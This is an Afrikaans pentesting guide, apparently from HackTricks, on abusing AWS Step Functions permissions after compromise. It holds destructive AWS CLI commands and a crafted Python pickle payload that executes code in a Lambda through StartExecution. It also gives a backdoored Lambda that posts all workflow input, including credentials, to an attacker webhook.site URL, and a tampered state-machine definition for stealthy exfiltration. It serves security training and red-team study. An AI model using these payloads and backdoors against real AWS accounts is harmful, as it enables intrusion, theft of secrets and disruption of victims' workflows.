# AWS - Step Functions Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

Vir meer inligting oor hierdie AWS-diens, sien:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### `states:RevealSecrets`

Hierdie toestemming maak dit moontlik om **geheime data binne 'n uitvoering te openbaar**. Hiervoor moet die Inspection-vlak op TRACE gestel word en die revealSecrets-parameter op true.

<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

'n Aanvaller met hierdie permissies sal in staat wees om staatmasjiene, hul weergawes en aliasse permanent te verwyder. Dit kan kritieke workflowe ontwrig, tot dataverlies lei en aansienlike tyd vereis om die betrokke staatmasjiene te herstel en terug te stel. Boonop sal dit 'n aanvaller toelaat om die gebruikte spore uit te wis, forensiese ondersoeke te ontwrig en potensieel bedrywighede lam te lê deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.

> [!NOTE]
>
> - Wanneer jy 'n staatmasjien verwyder, verwyder jy ook al sy geassosieerde weergawes en aliasse.
> - Wanneer jy 'n staatmasjien-alias verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
> - Dit is nie moontlik om 'n staatmasjienweergawe te verwyder wat tans deur een of meer aliasse verwys word nie.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Potensiële impak**: Versteuring van kritieke werkvloei, dataverlies en bedryfsstilstand.

### `states:UpdateMapRun`

'n aanvaller met hierdie toestemming kan die Map Run-foutkonfigurasie en parallel-instelling manipuleer, en die maksimum aantal toegelate kind-workflow-uitvoerings verhoog of verlaag, wat 'n direkte invloed op die diens se prestasie het. Boonop kan 'n aanvaller knoei met die toegelate foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as 'n item faal die hele Map Run sou misluk, wat direk die staatmasjien-uitvoering raak en moontlik kritieke werkvloei ontwrig.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **Potensiële impak**: Prestasievermindering en ontwrigting van kritieke werkvloei.

### `states:StopExecution`

'n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat lopende werkvloei en prosesse ontwrig. Dit kan lei tot onvolledige transaksies, gestopte besigheidsbedrywighede en potensiële databeskadiging.

> [!WARNING]
> Hierdie aksie word nie deur **express state machines** ondersteun nie.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Potensiële impak**: Ontwrigting van lopende werkvloei, bedryfsstilstand, en potensiële datakorruptie.

### `states:TagResource`, `states:UntagResource`

'n Aanvaller kan tags by Step Functions-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleid wat op tags gebaseer is, ontwrig.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Potensiële impak**: Ontwrigting van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.

---

### `states:StartExecution` -> Input Injection Into Dangerous Sinks

`states:StartExecution` is 'n data-plane toegangspunt. As 'n state machine aanvaller-gekontroleerde inset na 'n taak deurstuur wat 'n gevaarlike sink bevat (byvoorbeeld 'n Lambda wat `pickle.loads(base64.b64decode(payload_b64))`), kan jy soms **StartExecution** omskakel na **code execution** en **secret exfiltration** deur die uitvoeringuitset, sonder enige toestemming om die state machine op te dateer.

#### Ontdek die workflow en die aangeroepe Lambda

As jy `states:List*` / `states:Describe*` het, kan jy die state machine-definisie opnoem en lees:
```bash
REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
```
As jy ook `lambda:GetFunction` het, kan jy die Lambda-kodebundel aflaai om te verstaan hoe invoer verwerk word (en bevestig of onveilige deserialisering bestaan):
```bash
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
```
#### Voorbeeld: crafted pickle in execution input (Python)

Indien die Lambda 'unpickles' deur die aanvaller beheerste data, kan 'n kwaadwillige pickle tydens deserialisering kode uitvoer. Voorbeeld payload wat 'n Python-uitdrukking in die Lambda runtime evalueer:
```bash
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
```
**Impak**: Watter permissies die task role ook al het (Secrets Manager reads, S3 writes, KMS decrypt, ens.) kan via gespesialiseerde insette bereikbaar raak, en die resultaat kan in die Step Functions-uitset van die uitvoering teruggegee word.

### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

'n aanvaller wat 'n gebruiker of rol kompromitteer met die volgende toestemmings:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...kan 'n **high-impact and stealthy post-exploitation attack** uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.

Hierdie scenario gaan daarvan uit dat die slagoffer **AWS Step Functions gebruik om workflows te orkestreer wat sensitiewe invoer verwerk**, soos credentials, tokens, of PII.

Voorbeeld slagoffer-aanroep:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Indien die Step Function gekonfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee onopvallende aanval-variante**:

---

####  Lambda-funksie bygewerk

Die aanvaller wysig die kode van die Lambda-funksie wat reeds deur die Step Function gebruik word (`LegitBusinessLogic`) om stilweg invoerdata te exfiltrate.
```python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```

```bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---

#### Voeg 'n kwaadaardige toestand by die Step Function

Alternatiewelik kan die aanvaller 'n **exfiltration state** aan die begin van die werkvloei injekteer deur die Step Function-definisie by te werk.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

```

```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
Die aanvaller kan selfs meer onopgemerk die state-definisie bywerk na iets soos dit
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
waar die slagoffer nie die verskil sal besef nie

---

### Slagoffer-opstelling (Konteks for Exploit)

- 'n Step Function (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk.
- Dit roep een of meer Lambda-funksies soos `LegitBusinessLogic`.

---

**Potensiële impak**:
- Stil exfiltrasie van sensitiewe data, insluitend secrets, credentials, API keys en PII.
- Geen sigbare foute of mislukkings in workflow-uitvoering nie.
- Moeilik om te ontdek sonder om Lambda-kode of uitvoeringstraces te oudit.
- Maak langtermyn persistentie moontlik as backdoor in kode of ASL-logika bly.


{{#include ../../../../banners/hacktricks-training.md}}
